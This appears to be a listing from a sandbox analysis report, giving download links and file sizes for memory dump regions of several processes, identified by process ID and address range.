
Download
memory/404-136-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-142-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-138-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-139-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/404-141-0x000001E96CA40000-0x000001E96CA41000-memory.dmp

Filesize
4KB

Download
memory/1688-197-0x00000000079D0000-0x0000000007A73000-memory.dmp

Filesize
652KB

Download
memory/1688-185-0x0000000005E40000-0x0000000006194000-memory.dmp

Filesize
3.3MB

Download
memory/1688-187-0x000000006F140000-0x000000006F18C000-memory.dmp

Filesize
304KB

Download
memory/1688-199-0x0000000007C90000-0x0000000007CA4000-memory.dmp

Filesize
80KB

Download
memory/1688-198-0x0000000007C30000-0x0000000007C41000-memory.dmp

Filesize
68KB

Download
memory/1688-186-0x0000000006820000-0x000000000686C000-memory.dmp

Filesize
304KB

Download
memory/2164-96-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download
memory/3448-126-0x00000000075C0000-0x00000000075D1000-memory.dmp

Filesize
68KB

Download
memory/3448-127-0x0000000007620000-0x0000000007634000-memory.dmp

Filesize
80KB

Download
memory/3448-114-0x0000000005F30000-0x0000000005F7C000-memory.dmp

Filesize
304KB

Download
memory/3448-115-0x0000000073A50000-0x0000000073A9C000-memory.dmp

Filesize
304KB

Download
memory/3448-125-0x0000000007340000-0x00000000073E3000-memory.dmp

Filesize
652KB

Download
memory/3448-109-0x0000000005910000-0x0000000005C64000-memory.dmp

Filesize
3.3MB

Download
memory/3636-44-0x0000000007120000-0x0000000007142000-memory.dmp

Filesize
136KB

Download
memory/3636-42-0x0000000006680000-0x0000000006716000-memory.dmp

Filesize
600KB

Download
memory/3636-67-0x0000000007ED0000-0x0000000007EFA000-memory.dmp

Filesize
168KB

Download
memory/3636-66-0x0000000007750000-0x0000000007758000-memory.dmp

Filesize
32KB

Download
memory/3636-65-0x0000000007760000-0x000000000777A000-memory.dmp

Filesize
104KB

Download
memory/3636-64-0x0000000007720000-0x0000000007734000-memory.dmp

Filesize
80KB

Download
memory/3636-63-0x0000000007710000-0x000000000771E000-memory.dmp

Filesize
56KB

Download
memory/3636-62-0x00000000076C0000-0x00000000076D1000-memory.dmp

Filesize
68KB

Download
memory/3636-61-0x00000000076A0000-0x00000000076AA000-memory.dmp

Filesize
40KB

Download
memory/3636-60-0x00000000075A0000-0x0000000007643000-memory.dmp

Filesize
652KB

Download
memory/3636-59-0x0000000007570000-0x000000000758E000-memory.dmp

Filesize
120KB

Download
memory/3636-49-0x000000006F9E0000-0x000000006FA2C000-memory.dmp

Filesize
304KB

Download
memory/3636-48-0x0000000007530000-0x0000000007562000-memory.dmp

Filesize
200KB

Download
memory/3636-47-0x00000000083C0000-0x0000000008A3A000-memory.dmp

Filesize
6.5MB

Download
memory/3636-45-0x0000000007790000-0x0000000007D34000-memory.dmp

Filesize
5.6MB

Download
memory/3636-71-0x0000000008A40000-0x0000000009410000-memory.dmp

Filesize
9.8MB

Download
memory/3636-43-0x0000000006630000-0x000000000664A000-memory.dmp

Filesize
104KB

Download
memory/3636-68-0x0000000007F00000-0x0000000007F24000-memory.dmp

Filesize
144KB

Download
memory/3636-41-0x0000000006170000-0x00000000061BC000-memory.dmp

Filesize
304KB

Download
memory/3636-25-0x0000000002B30000-0x0000000002B66000-memory.dmp

Filesize
216KB

Download
memory/3636-26-0x00000000053C0000-0x00000000059E8000-memory.dmp

Filesize
6.2MB

Download
memory/3636-27-0x0000000005170000-0x0000000005192000-memory.dmp

Filesize
136KB

Download
memory/3636-29-0x0000000005AD0000-0x0000000005B36000-memory.dmp

Filesize
408KB

Download
memory/3636-28-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/3636-39-0x0000000005B40000-0x0000000005E94000-memory.dmp

Filesize
3.3MB

Download
memory/3636-40-0x0000000006150000-0x000000000616E000-memory.dmp

Filesize
120KB

Download
memory/4264-208-0x0000000000660000-0x00000000006AA000-memory.dmp

Filesize
296KB

Download
memory/4264-207-0x0000000000660000-0x00000000018B4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-157-0x0000000021E90000-0x00000000223BC000-memory.dmp

Filesize
5.2MB

Download
memory/4556-156-0x0000000021610000-0x0000000021660000-memory.dmp

Filesize
320KB

Download
memory/4556-155-0x0000000021790000-0x0000000021952000-memory.dmp

Filesize
1.8MB

Download
memory/4556-153-0x0000000020C00000-0x0000000020C9C000-memory.dmp

Filesize
624KB

Download
memory/4556-152-0x0000000001000000-0x000000000104A000-memory.dmp

Filesize
296KB

Download
memory/4556-151-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/4556-204-0x0000000021960000-0x00000000219F2000-memory.dmp

Filesize
584KB

Download
memory/4556-205-0x000000001E6D0000-0x000000001E6DA000-memory.dmp

Filesize
40KB

Download